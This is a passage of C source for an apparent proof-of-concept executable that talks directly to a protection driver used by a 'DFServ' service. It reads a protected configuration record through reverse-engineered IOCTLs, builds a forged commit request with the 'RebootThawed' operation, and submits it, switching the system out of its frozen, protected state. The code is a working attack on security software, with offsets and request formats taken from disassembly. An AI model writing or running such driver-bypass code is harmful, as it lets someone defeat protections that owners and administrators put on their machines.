    BYTE idx[4]; BYTE *wire; DWORD wire_n=0; BOOL ok;
    put32(idx,index);
    wire=wrap(idx,4,id,&wire_n);
    if(!wire) return FALSE;
    ok=raw_call(IO_META,wire,wire_n,out,out_n,returned);
    release(wire); return ok;
}

/* 0x72024 (driver sub_14000ADE8 mode 0): the payload must be
 * [N-byte record][146-byte trailer] with
 *   record+0x02 = 0x1712, record+0xD4 = id,
 *   trailer+0x00 = id, trailer+0x82 = 1, trailer+0x8A = slot, trailer+0x8E = 146,
 * and payloadLen-146 = N. Any shorter payload is rejected by sub_140022E54 with
 * STATUS_INVALID_PARAMETER, which is the reported 0x57.
 *
 * This is DFServ v10 sub_4BCE74's a6 != 1 branch: OutputBuffer=NULL and
 * OutputBufferLength=0, success judged by Information == N. Nothing is copied
 * back to a user output buffer in that form, so this is a pre-flight check on
 * the request format, not the record read (the record comes from 0x72020). */
static BOOL verify_read_call(DWORD id,DWORD n,DWORD slot) {
    DWORD payload_n=n+TAIL_SIZE, wire_n=0, returned=0;
    BYTE *payload=allocate(payload_n), *wire;
    BOOL ok;
    if(!payload) return FALSE;
    put16(payload+0x02,0x1712);
    put32(payload+0xD4,id);
    put32(payload+n+0x00,id);
    put32(payload+n+0x82,1);
    put32(payload+n+0x8A,slot);
    put32(payload+n+0x8E,TAIL_SIZE);
    inner_transform(payload,payload_n);
    wire=wrap(payload,payload_n,id,&wire_n);
    release(payload);
    if(!wire) return FALSE;
    ok=raw_call(IO_READ,wire,wire_n,NULL,0,&returned);
    release(wire);
    if(!ok) return FALSE;
    if(returned!=n) { say("Unexpected 0x72024 completion length.\r\n"); return FALSE; }
    return TRUE;
}

static DWORD thaw_once(void) {
    DWORD id=0,key=0,n=0,returned=0,wire_n=0,payload_n=0;
    BYTE size_bytes[4]={0};
    BYTE *record=NULL,*payload=NULL,*wire=NULL;
    DWORD result=1;

    if(!verify_target()) return 1;
    if(!query_raw(IO_RECORD_ID,&id) || !query_raw(IO_TYPE1,&key)) return 1;
    say("record id from 0x724E4: "); hex32(id);
    say("  type1 from 0x7207C: "); hex32(key); say("\r\n");

    /* v10 length query is 0x72020, NOT 0x72024. */
    if(!meta_call(id,0,size_bytes,4,&returned)) return 1;
    if(returned!=4) { say("Unexpected length-query completion size.\r\n"); return 1; }
    n=get32(size_bytes);
    if(n<MIN_RECORD || n>MAX_RECORD) {
        say("Refusing unexpected record length: "); hex32(n); say("\r\n"); return 1;
    }
    say("record length from 0x72020: "); hex32(n); say("\r\n");

    /* Same handler, OutputBufferLength >= n => the record itself is returned. */
    record=allocate(n);
    if(!record) return 1;
    if(!meta_call(id,0,record,n,&returned) || returned!=n) {
        say("Refusing: record read did not return n bytes.\r\n"); goto done;
    }
    if(get16(record+2)!=0x1712 || get32(record+0xD4)!=id) {
        say("Refusing: inconsistent record header/id.\r\n"); goto done;
    }

    /* Optional pre-flight: the corrected 0x72024 request form. Until v11 the
     * candidate sent a bare 4-byte payload here, which the driver always
     * rejected with 0x57. */
    if(!verify_read_call(id,n,SLOT0)) {
        say("Corrected 0x72024 request was not accepted; aborting before the write.\r\n");
        goto done;
    }
    say("Corrected 0x72024 request accepted.\r\n");

    /* Build the 0x72094 commit exactly as DFServ v10 sub_4BCE74 does:
     * payload = record(N) || 146-byte trailer, inner transform, outer wrap.
     * The driver clones the current record and adopts only +0x04 and +0x72. */
    payload_n=n+TAIL_SIZE;
    payload=allocate(payload_n);
    if(!payload) goto done;
    copy_bytes(payload,record,n);
    put32(payload+0x04,1);            /* one thawed initialization interval */
    put16(payload+0x72,7);            /* DFServ RebootThawed operation        */
    put32(payload+n+0x00,id);
    put32(payload+n+0x82,1);
    put32(payload+n+0x8A,SLOT0);
    put32(payload+n+0x8E,TAIL_SIZE);
    inner_transform(payload,payload_n);
    wire=wrap(payload,payload_n,id,&wire_n);
    if(!wire) goto done;
    say("Submitting ONE 0x72094 request (count=1, operation=7).\r\n");
    if(!raw_call(IO_COMMIT,wire,wire_n,NULL,0,&returned)) {
        say("Write outcome is not confirmed; do not assume nothing changed. No retry was made.\r\n");
        goto done;
    }
    if(returned!=n) {
        say("Unexpected completion length; write may have occurred. No retry was made.\r\n");
        goto done;
    }
    say("Driver reported success. No reboot was requested. Actual thaw state is not verified.\r\n");
    result=0;
done:
    release(wire); release(payload); release(record);
    return result;
}

/* Custom PE entry point keeps the executable independent of UCRT/.NET. */
void entry(void) {
    int argc=0; DWORD result=2;
    WCHAR **argv=CommandLineToArgvW(GetCommandLineW(),&argc);
    if(argv && argc==2 && equal_w(argv[1],L"--thaw-once")) result=thaw_once();
    else say("Version-pinned static-analysis PoC (v11).\r\nUsage: thaw_once_v11_candidate.exe --thaw-once\r\nNo device calls made without that argument. No automatic reboot.\r\n");
    if(argv) LocalFree(argv);
    ExitProcess(result);
}